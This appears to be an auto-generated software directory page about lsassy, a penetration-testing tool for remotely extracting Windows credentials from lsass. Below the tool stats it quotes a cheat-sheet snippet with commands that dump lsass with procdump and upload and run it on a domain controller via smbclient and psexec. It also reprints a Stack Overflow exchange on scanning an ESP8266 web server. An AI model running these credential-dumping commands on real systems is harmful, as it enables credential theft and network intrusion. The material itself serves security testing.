lsassy | Extract credentials from lsass | Security Testing library

by Hackndo Python Version: 3.1.11 License: MIT

X-Ray Key Features Code Snippets(1)Community Discussions(1)Vulnerabilities Install Support

kandi X-RAY | lsassy Summary

lsassy is a Python library typically used in Testing, Security Testing applications. lsassy has no bugs, it has no vulnerabilities, it has build file available, it has a Permissive License and it has medium support. You can install using 'pip install lsassy' or download it from GitHub, PyPI.

Python tool to remotely extract credentials on a set of hosts. This blog post explains how it works. This tool uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Support

Quality

Security

License

Reuse

Support

lsassy has a medium active ecosystem.

It has 1684 star(s) with 221 fork(s). There are 50 watchers for this library.

There were 2 major release(s) in the last 12 months.

There are 1 open issues and 29 have been closed. On average issues are closed in 40 days. There are no pull requests.

It has a neutral sentiment in the developer community.

The latest version of lsassy is 3.1.11

Quality

lsassy has 0 bugs and 0 code smells.

Security

lsassy has no vulnerabilities reported, and its dependent libraries have no vulnerabilities reported.

lsassy code analysis shows 0 unresolved vulnerabilities.

There are 0 security hotspots that need review.

License

lsassy is licensed under the MIT License. This license is Permissive.

Permissive licenses have the least restrictions, and you can use them in most projects.

Reuse

lsassy releases are available to install and integrate.

Deployable package is available in PyPI.

Build file is available. You can build the component from source.

Installation instructions, examples and code snippets are available.

lsassy saves you 826 person hours of effort in developing the same functionality from scratch.

It has 2519 lines of code, 161 functions and 43 files.

It has medium code complexity. Code complexity directly impacts maintainability of the code.

Top functions reviewed by kandi - BETA

kandi has reviewed lsassy and discovered the below as its top functions. This is intended to give you an instant insight into lsassy implemented functionality, and help decide if they suit your requirements.

Parse the command line arguments
Dump the instance to a file
Build the executor
Copy an executor
Execute a command
Clean up service
Build an Interface instance from the response
Get credentials
Write credentials to file
Write kerberos tickets to kirbi
Write the masterkeys file
Imports the output module
Create a file
Return the contents of the credentials table
Run lsassy
Generate the list of commands to download
Delete the lsass dump file
Delete file
Prepare NOSkr
Upload the dependency
Prepare dependencies
Parse the given targets
Execute the given command using kerberos
Highlight a message
Clean up the contents of the report
Raises KeyboardInterrupt

Get all kandi verified functions for this library.

lsassy Key Features

No Key Features are available at this moment for lsassy.

lsassy Examples and Code Snippets

Active-directory-Cheat-sheet,Credentials Dumping,LSASS Dumping

HTML

Lines of Code : 11

License : Permissive (MIT)

Copy

cme   -u  -p  -M lsassy

procdump --accepteula -ma lsass lsass.dmp

smbclient.py MEGACORP.LOCAL/john@dc01.megacorp.local
# use C$
# cd Windows\Temp
# put procdump.exe

psexec.py MEGACORP.LOCAL/john@dc01.megacorp.local "C:\\Windows\\Temp\\procdump.exe

Community Discussions

Trending Discussions on Security Testing

DAST security scaning of a IoT Nodemcu esp8266 LUA script www HTML server connected to camera and A/C relay

QUESTION

DAST security scaning of a IoT Nodemcu esp8266 LUA script www HTML server connected to camera and A/C relay

Asked 2021-Apr-08 at 01:04

I have not, but shall DAST* security test, out of curiosity, an IoT device; Nodemcu esp8266 www server I built. It's showing a HTML page (on a mobile phone for example) that allows to control and interact with a camera module and a A/C relay. With it I can for example show images captured in the camera I even think it has some image recognition built in, and I can switch on and off a relay for electrical current to a light bulb (110/220v A/C power)

Before I start pentest I though I better start thinking of what types of exploits one would be able to find and detect? Which sinister exploits I will be able to find, or rather ought be able to find given a proper pentest exercise? (And if I do not find exploits, my approach to the pentest of the Iot might be wrong)

I ponder it might be a totally pointless exercise since the esp8266 www server (or rather its LUA programming libraries) might not have any security built into it, so basically it is "open doors" and everything with it is unsafe ?

The test report might just conclude what I can foresee be that the the "user input needs to be sanitized"?

Anyone have any idea what such pentest of a generic IoT device generally reports? Maybe it is possible to crash or reset the IoT device? Buffer overruns, XXS, call own code ?

I might use ZAP or Burpsuite or similar DAST security test tool.

I could of course SAST test it instead, or too, but I think it will be hard to find a static code analyzer for the NodeMCU libraries and NUA scripting language easily ? I found some references here though: https://ieeexplore.ieee.org/abstract/document/8227299 but it seems to be a long read.

So if someone just have a short answer what to expect in a DAST scan/pentest , it would be much appreciated.

Stay safe and secure out there ! Zombieboy

...

ANSWER

Answered 2021-Apr-08 at 01:04

I do my vulnerability scanning with OpenVAS (I assume this is what you mean by pentesting?). I am not aware of any IOT focused Tools.

If your server is running on esp8266, i would imagine that there is no much room for authentication and encryption of http traffic, but correct me if i am wrong).

Vulnerability Scan results might show things like unencrypted http traffic, credentials transmitted in cleartext (if you have any credentials fields in the pages served by the web server) etc. Depending on if there is encryption, you might also see weak encryption findings.

You might get some false positives on your lua webserver reacting like other known webservers when exploits are applied. I have seen this kind of false positive specially on DoS vulnerabilities when a vulnerability scan is testing a vulnerability and the server becomes unresponsive. Depending on how invasive your vulnerability scanner is, you might get a lot of false positives for DoS on such a constrained platform.

Source https://stackoverflow.com/questions/66995125

Community Discussions, Code Snippets contain sources that include Stack Exchange Network